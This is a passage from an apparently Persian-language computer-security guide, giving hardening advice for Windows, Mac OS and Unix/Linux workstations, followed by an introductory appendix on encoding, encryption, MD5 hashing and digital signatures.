یک دیوارهٔ آتش سخت‌افزاری یا نرم‌افزاری روی سیستم خود نصب کنید. نسخه‌های رایگان این نرم‌افزار در دسترس می‌باشد. دیوارهٔ آتش را به‌روز نگهدارید. مطمئن شوید که دیوارهٔ آتش بگونه‌ای تنظیم شده که درصورت وقوع هر اتفاق غیرعادی به شما هشدار می‌دهد.

ضدویروس

یک نرم‌افزار ضدویروس نیز روی دستگاه خود نصب کنید. اگر نتوانستید نسخهٔ رایگان آنرا بیابید باید هزینهٔ نسخهٔ تجاری آنرا بپردازید. برخی از فروشندگان بر به‌روزرسانی روزانهٔ ضدویروسهای خود تأکید دارند و برخی دیگر به‌روزرسانی هفتگی آنها را پیشنهاد می‌کنند. طبیعتاً هرچه نرم‌افزار شما به‌روزتر باشد بهتر می‌تواند از سیستم حفاظت کند.

آشکارگرهای بدافزارها

برنامه‌هایی وجود دارند که سیستم را برای انواع نرم‌افزارهای مخرب جستجو می‌کنند، مثل:

Pest Patrol
(*http://www.pestpatrol.com*)

Lavasoft
(*http://lavasoftusa.com/software/adawareplus/*)

SpybotSD
(*http://www.safer-networking.org*)

همگی برنامه‌های فوق رایگان هستند و انواع مختلف نرم‌افزارهای مخرب روی سیستم را شناسایی می‌نمایند.

120 Multi-User
121 File System
122 System Services

بررسی خلاصهٔ امنیتی

اگر شما یک کاربر غیرفنی هستید و هیچ سازمانی برای کمک به شما وجود ندارد می‌توانید به پیشنهادات Microsoft برای کاربران خانگی نگاهی بیاندازید:

http://www.microsoft.com/security/home
http://www.microsoft.com/protect/

اگر متخصص فناوری اطلاعات هستید می‌توانید از این پایگاه اطلاع‌رسانی استفاده کنید:

http://www.microsoft.com/technet/security

اگر سیستم جدیدی دارید می‌توانید *MBSA*[۱۲۳] را که برای ارائه خدمات پشتیبانی به سیستمهای Windows 2000 و Windows XP طراحی شده روی آن نصب و راه‌اندازی کنید.

رایانه‌های Macintosh

نقاط قوت و نقاط ضعف

رایانه‌های Apple Macintosh و سیستم‌عامل آنها کمتر از Windows رایانهٔ شخصی پذیرای مشکلات امنیتی هستند. بعلاوه از آنجا که تعداد کاربران دستگاههای Mac نسبت به رایانه‌های شخصی کمتر است مهاجمان علاقهٔ کمتری به خرابکاری در آنها نشان می‌دهند. شاید بزرگترین آسیب‌پذیری آنها این است که کاربران Mac تصور می‌کنند همیشه ایمن هستند و هیچگاه مورد آزار و اذیت کسی قرار نخواهند گرفت. سیستمهای MacOS که پیش از MacOS X بوجود آمدند سیستم‌عامل مناسبتری داشتند. MacOS X بر اساس FreeBSD UNIX است و باید با دید یک سیستم UNIX خاص که با ملاحظات امنیتی مناسب طراحی شده به آن نگاه کرد (این مورد در بخش بعدی که در مورد UNIX است بررسی شده). در هستهٔ مرکزی MacOS X خدمات سیستمی متعددی تعبیه شده اما همهٔ آنها غیرفعال هستند.

چگونه از خود محافظت کنیم

انتشار نرم‌افزار

اطمینان حاصل کنید که از تمامی وصله‌ها برای حفاظت از سیستم استفاده کرده‌اید. به پایگاه اطلاع‌رسانی http://www.apple.com بروید و روی گزینهٔ Support کلیک کنید. مشابه سیستمهای Windows، اینجا هم این احتمال وجود دارد که سیستم اصلاح‌نشدهٔ شما بعد از تنها چند ساعت یا چند روز مورد نفوذ قرار بگیرد؛ خصوصاً اگر روی آن یک ارتباط دائمی شبکه داشته باشید.

حسابهای کاربری

مطمئن شوید تمامی حسابهای کابری که مورد نیاز نیستند غیرفعال یا حذف شده‌اند. خصوصاً بررسی کنید که حساب کاربری guest بدون داشتن رمز عبور فعال نباشد. امتیازات راهبری را برای حسابهایی که از آنها زیاد استفاده می‌کنید محدود سازید و از حساب کاربری راهبر برای کارهای روزمره که بدون امتیاز راهبری قابل انجام هستند استفاده نکنید.

اشتراک فایل

اگر از این قابلیت استفاده نمی‌کنید آنرا غیرفعال سازید. در غیراینصورت مطمئن شوید که امتیازات تعیین‌شده در حداقل سطح ممکن قرار دارند.

خدمات

خدماتی که مورد نیاز نیستند را غیرفعال سازید. اگر آنها را بطور موقتی فعال می‌کنید یادتان باشد که پس از اتمام کار مجدداً همگی را غیرفعال نمایید.

نرم‌افزارهای کاربردی جدید

نرم‌افزارهای کاربردی جدید مرتبط با شبکه (خصوصاً آنهایی که برای UNIX طراحی شده‌اند) ممکن است در سیستمهایی که قبل از MacOS Xها طراحی شده‌اند آسیب‌پذیر باشند. اگر چنین نرم‌افزاری نصب کرده‌اید مراقب این موضوع باشید.

123 *Microsoft Baseline Security Analyzer*

دیوارهٔ آتش

یک دیوارهٔ آتش سخت‌افزاری یا نرم‌افزاری روی سیستم خود نصب کنید و آنرا به‌روز نگهدارید. مطمئن شوید که دیوارهٔ آتش بگونه‌ای تنظیم شده‌است که درصورت وقوع هر اتفاق غیرعادی به شما هشدار می‌دهد.

ضدویروس

یک نرم‌افزار ضدویروس نیز روی دستگاه خود نصب کنید. اگر نتوانستید نسخهٔ رایگان آنرا بیابید باید هزینهٔ نسخهٔ تجاری آنرا بپردازید. برخی از فروشندگان بر به‌روزرسانی روزانهٔ ضدویروسهای خود تأکید دارند و برخی دیگر به‌روزرسانی هفتگی آنها را پیشنهاد می‌کنند. طبیعتاً هرچه نرم‌افزار شما به‌روزتر باشد بهتر می‌تواند از سیستم حفاظت کند.

UNIX، Linux، و سیستمهای مشابه

نقاط قوت و نقاط ضعف

سیستمهای Unix از ابتدای پیدایش در محیطهای علوم رایانه‌ای و فیزیکی بعنوان *ایستگاه کاری*[۱۲۴] و سرویس‌دهنده (هم برای خدمات سیستمی و هم برای محاسبات چندکاربری) بکار می‌رفتند و طی دههٔ گذشته از سیستمهای Windows و Macintosh – که در محیطهای دیگر ایستگاه‌های کاری *تک‌کاربره*[۱۲۵] بودند – تا حدودی پیشی گرفتند. با محبوبیت رو به افزایش Linux این پدیده گسترش یافت؛ زیرا از یک سو این سیستم بسیار جالب و جذاب بود و از سوی دیگر برخلاف Windows متن برنامهٔ آن بصورت رایگان در اختیار عموم قرار گرفت. این موضوع در کشورهای درحال توسعه بیش از کشورهای توسعه‌یافته در کانون توجه‌ها واقع شد؛ چراکه هزینهٔ تهیهٔ نرم‌افزار در کشورهای درحال توسعه در مقایسه با متوسط سطح درآمد افراد بسیار بالاتر می‌باشد. از نقاط قوت UNIX می‌توان به انعطاف‌پذیری آن و نیز نرم‌افزارهایی که توسط کاربران و شرکتها طی این سالها برای آن تولید شده‌اند اشاره کرد.

متأسفانه قدرت و انعطاف‌پذیری UNIX با کاربرپسند بودن (از دید یک کاربر تازه‌کار) همراه نشد. درنتیجه زمانی که این سیستمها برای کاربران غیر متخصص UNIX بعنوان ایستگاه کاری بکار می‌روند، وجود کارمندان قوی برای پشتیبانی سیستمها لازم می‌شود. در هر حال پایه و اساس این سیستم هنوز پیچیده است و برای یک کاربر بی‌تجربه و تازه‌کار احتمال زیادی وجود دارد که راههای ورود را برای یک خرابکاری امنیتی باز گذارد. اگرچه سیستمهای UNIX نسبتاً عاری از ویروس هستند ولی پذیرای آخرین کرمها و تروجانهای منتشر شده می‌باشند، و لذا این موارد هنوز جزء مشکلات بالقوه آنها محسوب می‌شوند.

چگونه از خود محافظت کنیم

تمامی عناوینی که در ۷ فصل گذشته ذکر شدند در مورد سیستمهای UNIX، Linux و سیستمهای مشابه آنها نیز صادق هستند و درصورتیکه بخواهید رایانهٔ خود را واجد امنیت نسبی کنید باید به این موارد بپردازید. این بخش روی ایستگاههای کاری تک‌کاربره متمرکز است. افرادی که مسئول سرویس‌دهنده‌ها هستند باید بخش پنجم این کتاب را مطالعه کنند.

انواع مختلف UNIX

به دلیل وجود سیستم‌عاملهای مختلف شبیه UNIX، بسیاری از فروشندگان *مکانیزمهای از پیش نصب شدهٔ امنیتی*[۱۲۶] مخصوص به خود را دارند. بنابراین بسیار مهم است که راهنمای عملی آن نگارش از Unix که از آن استفاده می‌کنید را مطالعه نمایید. نام چندین کتاب، پایگاه اطلاع‌رسانی، و گروه پست الکترونیکی مفید که به امنیت Unix اختصاص دارند در بخش ضمائم کتاب آمده است.

انتشار نرم‌افزار

نرم‌افزار حتماً باید به‌روز گرددو تمامی وصله‌های امنیتی سریعاً روی آن نصب شوند. جزئیات اینکه بستهٔ به‌روزرسانی را از کجا باید تهیه کرد و چگونه آنرا اعمال نمود در سیستمهای مختلف متفاوت است.

124 *Workstation*
125 *Single-User*
126 *Pre-Installed Security Mechanisms*

حسابهای کاربری

کاربر ریشه[۱۲۷] (uid 0) بالاترین سطح دسترسی را دارد و معمولاً می‌تواند تمامی ابعاد سیستم را تغییر دهد. بر همین اساس حفاظت از حساب کاربری ریشه و فرآیندهایی که اجرای آنها توسط این حساب کاربری امکانپذیر است از مهمترین ابعاد امنیت UNIX بشمار می‌رود. از بکارگیری حساب کاربری ریشه در فعالیتهای روزمره خودداری کنید و برای اطمینان بیشتر امکان ورود به سیستم را با استفاده از حساب کاربری ریشه غیرفعال سازید. هنگامیکه باید از این حساب کاربری استفاده کنید از دستور *superuser* (su یا نمونه‌های دیگر مانند sudo) استفاده کنید تا حساب کاربری مورد استفاده را به حساب کاربری ریشه تبدیل نمایید.

اگر روی سیستم بیش از یک کاربر دارید از *فهرستهای کنترل دسترسی*[۱۲۸] استفاده کنید تا بتوانید دسترسیهای کاربران را محدود نمایید.

هرجا که امکان آن وجود دارد با یک حساب کاربری غیر از حساب کاربری ریشه از خدمات شبکه‌ای استفاده کنید.

هیچگاه با حساب کاربری ریشه، نرم‌افزار جدید را باز و یا کامپایل نکنید. معمولاً نرم‌افزارها در محیطی که با *chroot* وارد آن می‌شوید کامپایل می‌شوند تا از شما در برابر انواع مختلف تروا‌ها محافظت نمایند.

نصب دیسکهایی که از راه دور مورد استفاده قرار می‌گیرند

اگر برای دسترسی به دیسک از راه دور از روشهای مختلف دسترسی از راه دور استفاده می‌کنید (با استفاده از رایانه‌های شخصی و یا سیستمهای UNIX) برای اینکار رمزهای عبور مناسبی تعیین و درصورت امکان دسترسی به فایلهایی که نرم‌افزارها به آنها نیازمندند را تنها به همان اندازهٔ مورد نیاز محدود نمایید.

127 *Root User*
128 *Access Control List*

خدمات سیستمی

بسیاری از دستگاههای UNIX دارای خدمات سیستمی گسترده‌ای هستند، مثل سرویس‌دهندهٔ FTP، سرویس‌دهندهٔ وب و سرویس‌دهندهٔ پست الکترونیکی. در بسیاری موارد این خدمات بصورت پیش‌فرض فعال هستند. تمامی خدمات مبتنی بر شبکه که مورد استفاده قرار نمی‌گیرند را غیرفعال سازید. بعضی مردم تصور می‌کنند چون این خدمات وجود دارند باید از آنها استفاده نمود – حتی اگر تخصص فنی برای مدیریت امنیت آنرا نداشته باشند. این اشتباه بزرگی است و این خدمات نباید بدون دلیل قانع‌کننده و پشتیبانی فنی کافی در ایستگاههای کاری کاربران راه‌اندازی شده باشند.

بسیاری از خدمات شبکه‌ای با استفاده از فرمان *inetd* یا *xinetd* شروع به فعالیت می‌کنند. فایلهای پیکربندی که توسط این daemon مورد استفاده قرار گرفته‌اند را بررسی کنید و هریک از خدماتی که لازم ندارید را غیرفعال نمایید. خدمات شبکه‌ای دیگر که هنگام راه‌اندازی سیستم شروع به فعالیت می‌کنند در فایلهایی در مسیر /etc/init.d یا /etc/rc*.d و یا /etc/rc و /etc/rc.local قرار گرفته‌اند. به خدماتی که ممکن است اطلاعات سیستم یا کاربر آنرا در اختیار دیگران قرار دهند – مثل *fingerd* – توجه ویژه داشته باشید.

اگر سرویس *FTP ناشناس*[۱۲۹] را راه‌اندازی نموده‌اید حتماً آنرا به‌روزرسانی نمایید. هرگز فایل /etc/passwd را در محیط FTP تبادل نکنید. اطمینان یابید حسابهای کاربری root، uucp، bin و دیگر حسابهایی که در اختیار کاربر خاصی قرار ندارند در فایل /etc/ftpusers – که شامل فهرست کاربرانی است که نمی‌توانند از FTP استفاده کنند – وجود داشته باشند. مراقب *مجوز دسترسی به شاخه‌ها*[۱۳۰] و *مالکیت*[۱۳۱] آنها در محیط FTP باشید. از انجام download توسط مسیرهای ورودی و انجام

129 *Anonymous FTP*
130 *Directory Permission*
131 *Ownership*

upload بوسیله مسیرهای خروجی جلوگیری نمایید، و بالاخره بطور منظم ثبتهای سرویس FTP خود را مورد بررسی قرار دهید.

دیوارهٔ آتش

هر سیستم UNIX باید *دیوارهٔ آتش مبتنی بر میزبان*[۱۳۲] مخصوص خود را برای *تصفیهٔ بسته‌ها*[۱۳۳] راه‌اندازی نماید. از مستندات فروشنده استفاده کنید تا تشخیص دهید که آیا سیستم شما دارای دیوارهٔ آتش است یا خیر، و اگر هست چگونه می‌توان از آن برای این منظور استفاده نمود. معمولاً ابزارهای پیکربندی دیوارهٔ آتش شامل ipfw، ipchains و iptables هستند. این دیواره‌های آتش باید بگونه‌ای پیکربندی شوند که بطور پیش‌فرض راه عبور تمامی بسته‌ها را مسدود کنند و تنها به آنهایی مجوز عبور دهند که مقصد آنها خدماتی است که شما خواسته‌اید.

حسابهای کاربری پیش‌فرض

بسیاری از سیستمهای Unix دارای چندین حساب کاربری پیش‌فرض هستند که برای فرآیندهای جداگانه یا مجوز مالکیت فایلها مانند bin، daemon و uucp و غیره مورد استفاده قرار می‌گیرند. اطمینان حاصل کنید که تمامی رمزهای عبور رمزگذاری‌شدهٔ حسابهای کاربری مذکور با علامت "*" شروع می‌شوند و بنابراین با هیچ رمز عبوری نمی‌توان به این حسابهای کاربری دسترسی پیدا کرد. همینکه حساب کاربری ریشه یک رمز عبور معتبر داشته باشد کفایت می‌کند؛ و لازم نیست کسی بتواند وارد حسابهای کاربری دیگر گردد (اگرچه درصورت لزوم حساب کاربری ریشه می‌تواند با استفاده از دستور su دسترسی به حسابهای دیگر را فراهم کند).

آشکارگرهای بدافزارها

ابزارهای زیادی برای شناساندن نرم‌افزارهای مخرب به راهبر Unix وجود دارند. یکی از قدیمی‌ترین آنها Tripwire است که تحقیق می‌کند نرم‌افزارهای مهم سیستم و دیگر فایلهای حیاتی بطور مخفیانه تغییر داده شده‌اند یا خیر.

132 *Host-Based Firewall*
133 *Packet-Filtering*

ضمیمهٔ ۱
آشنایی با کدگذاری و رمزگذاری

کدگذاری[۱۳۴] و *رمزگذاری*[۱۳۵] فنونی هستند که رشته‌های حروف را به قالب و شکل دیگری تبدیل می‌کنند. کدگذاری در دنیای رایانه تغییر شکلی است که ظاهر پیام را تغییر می‌دهد، بطوریکه نتیجهٔ آن معیارهای خاصی را برآورده سازد؛ و رمزگذاری نیز نوعی تغییر شکل است که برای مخفی کردن محتویات پیام بکار می‌رود.

کدگذاری

کدگذاری قالب موضوع را تغییر می‌دهد تا برخی از معیارهای مورد نظر را برآورده سازد. این فرآیند برگشت‌پذیر است؛ بگونه‌ای که قالب کدگذاری شده بعداً می‌تواند *کدگشایی*[۱۳۶] شود تا به شکل اصلی خود تبدیل گردد.

فرآیند کدگذاری

فرض کنید می‌خواهید پیامی ارسال کنید که بصورت یک جملهٔ عادی انگلیسی است:

Security is important.

اما در ارسال محدودیتی وجود دارد و آن این است که شما تنها می‌توانید ارقام دهدهی را ارسال کنید: ۰، ۱، ۲، ۳، ۴، ۵، ۶، ۷، ۸، ۹. پس باید یک تابع نگاشت تهیه کنیم که بتواند آنچه می‌خواهیم ارسال کنیم را به اعداد دهدهی تبدیل کند، و بعد از ارسال نیز بتواند آنرا مجدداً به حالت قبلی خود بازگرداند.

برای این منظور از یکسری قوانین ساده استفاده می‌کنیم:

بجای A عدد ۰۱ را قرار می‌دهیم؛
بجای B عدد ۰۲ را قرار می‌دهیم؛
بجای C عدد ۰۳ را قرار می‌دهیم؛
بجای D عدد ۰۴ را قرار می‌دهیم؛
...
بجای X عدد ۲۴ را قرار می‌دهیم؛
بجای Y عدد ۲۵ را قرار می‌دهیم؛
بجای Z عدد ۲۶ را قرار می‌دهیم؛
بجای فاصله عدد ۲۷ را قرار می‌دهیم؛
بجای نقطه نیز عدد ۲۸ را قرار می‌دهیم.

جملهٔ اصلی را درنظر بگیرید و هر حرف را با کد تعیین شده، جایگزین نمایید.

۱۹ را بجای S قرار دهید؛
۰۵ را بجای E قرار دهید؛
۰۳ را بجای C قرار دهید؛ و ...

حالا می‌توانیم رشته را اینگونه ارسال کنیم:

19050321180920252709192709131615182001142028

اگر میان ارقام فاصله قرار دهیم خواناتر هم می‌شود:

19 05 03 21 18 09 20 25 27 09 19 27 09 13 16 15 18 20 01 14 20 28.

هنگامیکه پیام دریافت شد، دریافت‌کننده آنرا به حالت اول باز می‌گرداند:

S جایگزین ۱۹ می‌شود؛
E جایگزین ۰۵ می‌شود؛
C جایگزین ۰۳ می‌شود، و اینکار آنقدر ادامه می‌یابد تا جملهٔ اصلی بدست آید.

کاربردهای کدگذاری

کاربرد اصلی کدگذاری که در ادامه به آن خواهیم پرداخت در انتقال ضمائم نامه‌های الکترونیکی است. پست الکترونیکی ابتدا برای فرستادن متون به زبان انگلیسی طراحی شد و مبنای این طراحی کد ASCII بود که ۱۲۸ حرف منحصر به فرد داشت. این تعداد کد برای نمایش ۲۶ حرف الفبای انگلیسی به شکل کوچک و بزرگ،۱۰ رقم، برخی از نشانه‌های دیگر مانند ویرگول، نقطه، کروشه و نیز تعدادی از کلیدهای کنترلی مثل Tab و End بکار می‌رفتند.

اما بسیاری از زبانها تعداد حروفشان بیشتر از زبان انگلیسی است. از طرف دیگر برنامه‌ها، فایلهای پردازش کلمه، عکسها و انواع دیگر فایلها از بایتهای ۸ بیتی تشکیل شده‌اند و

134 *Encoding*
135 *Encryption*
136 *Decoding*

مجموعاً ۲۵۶ حرف منحصر به فرد را می‌سازند، و هیچیک نمی‌توانند توسط نامهٔ الکترونیکی ارسال گردند.

برای حل این مشکل مفهوم *ضمائم*[۱۳۷] بوجود آمد، که در آن فایلی که همراه نامهٔ الکترونیکی ارسال می‌شود ابتدا کدگذاری می‌گردد تا محتوای آن به شکل حروف استاندارد ASCII در آید. این فرآیند مشابه همان فرآیندی است که که طی آن توانستیم آن جمله را تنها با استفاده از اعداد کدگذاری کنیم. مشابه مثال قبلی، در اینجا نیز پیام کدگذاری‌شده از اصل پیام طولانی‌تر است؛ اما می‌تواند بدون ایجاد اشکال خاصی انتقال یابد و هنگامیکه دریافت شد کدگشایی گردد و به شکل اصلی خود درآید.

Unicode

Unicode نوعی روش کدگذاری برای تمامی حروفی است که در زبانهای رایج مورد استفاده قرار می‌گیرند و رایانه‌ها می‌توانند بطور یکسان آنها را بکار برند. جزئیات بیشتر که در کنسرسیوم Unicode (*http://www.unicode.org*) مورد توافق قرار گرفته در ادامه به شکل خلاصه ذکر شده است:

اساساً رایانه‌ها با اعداد و ارقام سر و کار دارند. آنها حروف الفبا و دیگر علامتها را با اختصاص دادن یک عدد به هریک از آنها ذخیره می‌کنند. پیش از پیدایش Unicode صدها سیستم کدگذاری مختلف برای این تبدیلات وجود داشت، اما هیچکدام از آنها به اندازهٔ کافی حروف و علات را پشتیبانی نمی‌کردند؛ و مثلاً اتحادیهٔ اروپایی به تنهایی نیاز به چندین کدگذاری مختلف داشت تا تمامی زبانهای اروپایی را پوشش دهد. حتی در مورد یک زبان منحصر به فرد مانند انگلیسی نیز یک کدگذاری واحد برای تمامی حروف، علائم و علامتهای دستوری و فنی کافی نبود.

همچنین سیستمهای کدگذاری مختلف با یکدیگر ناسازگار بودند، یعنی ممکن بود دو سیستم کدگذاری مختلف از اعداد مشابهی برای دو حرف متفاوت استفاده کرده و یا برای یک حرف، دو عدد مختلف را بکار برده باشند. هر رایانه (بویژه سرویس‌دهنده‌ها) باید از سیستمهای رمزگذاری مختلفی پشتیبانی کند. هر زمان که داده میان سیستمهای کدگذاری مختلف تبادل می‌شود ممکن است آسیب ببیند. Unicode آمده بود تا تمامی این مشکلات را حل کند.

137 *Attachments*

Unicode برای هریک از حروف، شمارهٔ مجزایی اختصاص می‌دهد. اهمیتی ندارد که چه بستر، برنامه یا زبانی مورد استفاده باشد. استاندارد Unicode با رهبری شرکتهایی چون Apple، HP، IBM، JustSystem، Microsoft، Oracle، SAP، Sun، Sybase، Unisys و... نهایی شده، و در تمام بسترها یک استاندارد ثابت است.

رمزگذاری

رمزگذاری همانند کدگذاری است که در فرآیند آن، متون یا موضوعات به قالب دیگری تبدیل می‌شوند. هدف اینکار مخفی کردن محتوای پیام است.

سه روش رمزگذاری مختلف وجود دارد:

- *رمزگذاری متقارن*[۱۳۸]
- *رمزگذاری کلید عمومی*[۱۳۹]
- *رمزگذاری یکطرفه با استفاده از Hash*[۱۴۰]

رمزگذاری متقارن

به زبان ساده، رمزگذاری متقارن مشابه کدگذاری است که حروف اصلی متن همگی در آن تغییر ظاهری می‌یابند. یکی از ساده‌ترین الگوریتمهای رمزگذاری این است که هر حرف را با حرف بعدی آن جایگزین کنیم. بنابراین در این روش:

B بجای A قرار می‌گیرد؛
C بجای B قرار می‌گیرد؛
D بجای C قرار می‌گیرد؛
.....
Y بجای X قرار می‌گیرد؛
Z بجای Y قرار می‌گیرد؛
A بجای Z قرار می‌گیرد (در پایان حروف الفبا، دوباره به حرف اول بازگشته‌ایم).

اگر از این الگوریتم استفاده کنیم، مثال ذکر شده تبدیل می‌شود به (فاصله و نقطه را درنظر نگیرید):

TFDVSJUZ JT JNQPSUBOU.

138 *Symmetric Encryption*
139 *Public Key Encryption*
140 *One-way Hash Encryption*

اکنون این پیام تغییر کرده است. دریافت‌کننده آنرا برمی‌گرداند و هر حرف را با حرف قبلی خود جایگزین می‌کند و بدین ترتیب جملهٔ اصلی بدست می‌آید.

بجای آنکه هر حرف را یک واحد انتقال دهیم، می‌توانیم آنها را چند واحد منتقل کنیم. تا زمانیکه دریافت‌کننده مقدار این انتقال را بداند می‌تواند پیام را رمزگشایی نماید.

تعداد تغییر مکان یک حرف را *کلید رمزگذاری*[۱۴۱] می‌گویند. از این عدد هم برای رمزگذاری پیام استفاده می‌شود و هم برای رمزگشایی آن. جولیوس سزار از این روش برای ارسال پیامهای محرمانه و سری خود استفاده می‌نمود (او کلید رمزگذاری و رمزگشایی خود را برابر عدد ۳ انتخاب کرده بود).

با استفاده از این الگوریتم ساده اگر پیام شما دزدیده شود و سارق متوجه روح کلی رمزگذاری بشود، ممکن است با حدس زدن بتواند محتوای آنرا بفهمد. درصورتیکه الگوریتم پیچیده‌تر از آن باشد که با اعمال چند جابجایی بتوان آنرا پیدا کرد آنگاه رمزگشایی بسیار مشکلتر خواهد شد. تا مدتی پیش الگوریتمهای رمزگذاری متعددی از این روش ساده انتقال استفاده می‌کردند.

امروزه برای رمزگذاری بجای انتقال حروف از فرمولهای ریاضی استفاده می‌شود. البته هنوز هم از کلید استفاده می‌کنیم و این کلید بخشی از آن فرمول برای انجام رمزگذاری است. اگر بخواهید پیامی را رمزگشایی کنید حتماً باید از یک کلید استفاده نمایید. البته اگر کلید مخصوص را نداشته باشید می‌توانید کلیدهای دیگر را امتحان کنید تا به جواب برسید. درصورتیکه کلید محدود به شماره‌های ۱ تا ۱۰ باشد، عملیات حدس زدن زیاد طول نمی‌کشد. اما اگر مثلاً میان اعداد ۱ تا ۱۰۰ باشد ممکن است کمی بیشتر زمان ببرد. امروزه کلیدها معمولاً اعداد دودویی ۱۲۸ بیتی هستند. این رقم تقریباً برابر با:

۳۴۰,۰۰۰,۰۰۰,۰۰۰,۰۰۰,۰۰۰,۰۰۰,۰۰۰,۰۰۰,۰۰۰,۰۰۰,۰۰۰

انتخاب مختلف است که حدس زدن صحیح کلید را تقریباً غیر ممکن می‌کند.

رمزگذاری متقارن هنگامی مورد استفاده قرار می‌گیرد که فرستنده و دریافت‌کننده بتوانند از یک کلید مشابه استفاده کنند (در اینصورت آنها باید در مورد یک کلید مشخص به توافق رسیده باشند). از این روش درصورتی برای رمزگذاری پیام استفاده می‌شود که بخواهید اطلاعاتی را از جایی به جای دیگر انتقال دهید، مثلاً انتقال از طریق ارتباطات بی‌سیم؛ و یا اینکه بخواهید اطلاعات موجود روی یک دیسک را بگونه‌ای رمزگذاری کنید که دیگران نتوانند آنرا بخوانند. در موارد اخیر اگر کلید مفقود شود اطلاعات شما نیز مطمئناً از دست رفته‌اند.

رمزگذاری کلید عمومی

این نوع رمزگذاری مشابه رمزگذاری متقارن است، اما با یک تفاوت عمده: بجای یک کلید، در آن دو کلید وجود دارد. درواقع در اینجا کلیدی که برای رمزگذاری پیام استفاده می‌گردد متفاوت از کلیدی است که برای رمزگشایی پیامِ رمزگذاری‌شده بکار می‌رود. معمولاً کلید اول عمومی است و همه مجازند از آن اطلاع داشته باشند. اگر شما بخواهید برای شخصی یک پیام خصوصی ارسال کنید باید از کلید عمومی وی – که خود او آنرا برای رمزگذاری در اختیار همه قرار داده – استفاده نمایید. برای رمزگشایی پیام، نیاز به کلید خصوصی وی می‌باشد که متفاوت از کلید عمومی است و این کلید را نباید به هیچوجه در اختیار دیگران قرار داد. با این توضیحات مشخص است که اگر پیام شما با استفاده از این مکانیزم برای کسی ارسال شود، هیچ شخص دیگری بجز گیرندهٔ حقیقی نمی‌تواند آنرا بخواند.

توجه داشته باشید که با استفاده از این روش، شخص مطمئن نیست چه کسی پیام را برای وی ارسال کرده‌است؛ زیرا هر کسی ممکن است کلید عمومی وی را داشته باشد. اما فرستنده مطمئن خواهد بود که تنها صاحب آن کلید عمومی (کلیدی که برای رمزگذاری بکار رفته) می‌تواند با کلید خصوصی متناظر این پیام را رمزگشایی کند و بخواند.

کلیدهای عمومی و خصوصی می‌توانند عکس آنچه گفته شد نیز استفاده شوند. در اینحالت شما پیام را با کلید خصوصی خود رمزگذاری می‌کنید و هر کسی که کلید عمومی شما را داشته باشد می‌تواند آنرا رمزگشایی نماید. در اینصورت آنچه به اثبات می‌رسد این است که مطمئناً فرستندهٔ پیام کسی نیست جز شما.

141 Encryption Key

رمزگذاری یکطرفه با استفاده از درهم‌سازی[۱۴۲]

می‌توانید این روش را مشابه رمزگذاری کلید عمومی بدانید در حالتی که در آن هیچکس کلید خصوصی ندارد. بنابراین مطالب می‌توانند رمزگذاری شوند، اما نمی‌توانند رمزگشایی گردند؛ و تفاوت آن با رمزگذاری کلید عمومی در این است که پیام رمزشده معمولاً حداکثر طول مشخصی دارد. یکی از رایجترین الگوریتمهای رمزگذاری یکطرفه با استفاده از درهم‌سازی، الگوریتمی بنام *MD5*[۱۴۳] است. خروجی الگوریتم MD5، همیشه ۱۲۸ بیت (۱۶ بایت) می‌باشد. اگر یک کد درهم‌سازی‌شده برای دو پیام متفاوت ایجاد کنید احتمال اینکه خروجی دو کد درهم‌سازی‌شده مشابه یکدیگر باشند تقریباً صفر خواهد بود.

این روش و کد خروجی تولید شده در آن دو کاربرد اصلی دارند:

تضمین جامعیت

شما می‌توانید یک سند طولانی یا یک برنامه را برگزینید، کد MD5 را برای آن محاسبه و آنرا در محلی امن ذخیره نمایید. مدتی بعد می‌توانید به اسناد خود مراجعه و دوباره روی آن همین عملیات را اعمال کنید. طبیعتاً چنانچه کد جدید متمایز از کد قبلی بود متوجه می‌شوید که برنامه یا سند تغییر کرده است. معمولاً یک تغییر بسیار جزئی در یک فایل بزرگ هم باعث ایجاد تغییرات زیادی در کد MD5 مربوطه می‌شود.

ذخیرهٔ رمز عبور

در بسیاری از سیستمها هنگامیکه کاربر از کلمه‌ای بعنوان رمز عبور استفاده می‌کند، این کلمه با استفاده از الگوریتم MD5 (یا یک الگوریتم مشابه) رمزگذاری می‌شود و نسخهٔ رمزگذاری‌شده ذخیره می‌گردد. بار بعد که کاربر سعی می‌کند وارد سیستم شود، آنچه که وارد می‌کند مجدداً رمزگذاری می‌شود و با آنچه که در دیسک ذخیره شده بود مقایسه می‌گردد؛ و درصورت یکسان بودن آنها مشخص می‌شود که رمز عبور صحیح بوده است. البته اگر کاربر رمز عبور را فراموش کند رمزگشاییِ آنچه که روی دیسک ذخیره شده امکانپذیر نیست و باید یک رمز عبور جدید انتخاب گردد. از این روش برای این منظور استفاده می‌شود که اصل رمز عبور هیچگاه نتواند در قالب اصلی خود به نمایش درآید.

متأسفانه هنوز یک مشکل وجود دارد که به دلیل آن کاربر نباید از رمزهای عبور کوتاه، ساده و یا قابل حدس استفاده کند و آن اینکه اگر کسی فهرستی از رمزهای عبور رمزگذاری‌شده بدست آورد (مثلاً از سیستمی که به آن نفوذ کرده) بسیار ساده خواهد بود که همه رمزهای عبورِ سادهٔ ممکن را رمزگذاری نموده و با نمونه‌های رمزگذاری‌شدهٔ موجود در سیستم تطبیق دهد و بدین ترتیب رمزهای عبور سادهٔ سیستم را پیدا کند.

امضای دیجیتالی[۱۴۴]

اگر شخصی بخواهد برای شما پیامی خصوصی ارسال کند و بخواهد شما مطمئن باشید که فرستنده آن پیام کسی جز او نیست، می‌توان از ترکیب روشهای پیش‌گفته استفاده کرد:

۱. پیام را می‌نویسد و از MD5 برای ایجاد کد درهم‌سازی‌شده استفاده می‌کند.
۲. با استفاده از کلید خصوصی خود، کد درهم‌سازی‌شده را رمزگذاری می‌کند.
۳. با استفاده از کلید عمومی شما متن پیام را رمزگذاری می‌نماید.
۴. پیام و کد درهم‌سازی رمزگذاری‌شده را ارسال می‌کند.
۵. شما پیام را دریافت می‌کنید.
۶. با استفاده از کلید عمومی وی کد درهم‌سازی را رمزگشایی می‌نمایید، که نتیجه آن بدست آمدن کد درهم‌سازی اصلی است.

142 Hash
143 Message Digest 5
144 Digital Signature

۷. متن پیام ارسالی را با استفاده از کلید خصوصی خود رمزگشایی می‌کنید.

۸. برای متن پیام ارسالی، با استفاده از MD5 کد درهم‌سازی را محاسبه می‌نمایید.

۹. اگر دو کد درهم‌سازی بدست آمده یکسان بودند اطمینان می‌یابید متن ارسالی تغییر نکرده‌است و فرستنده نیز همان شخصی است که انتظار آنرا داشتید.

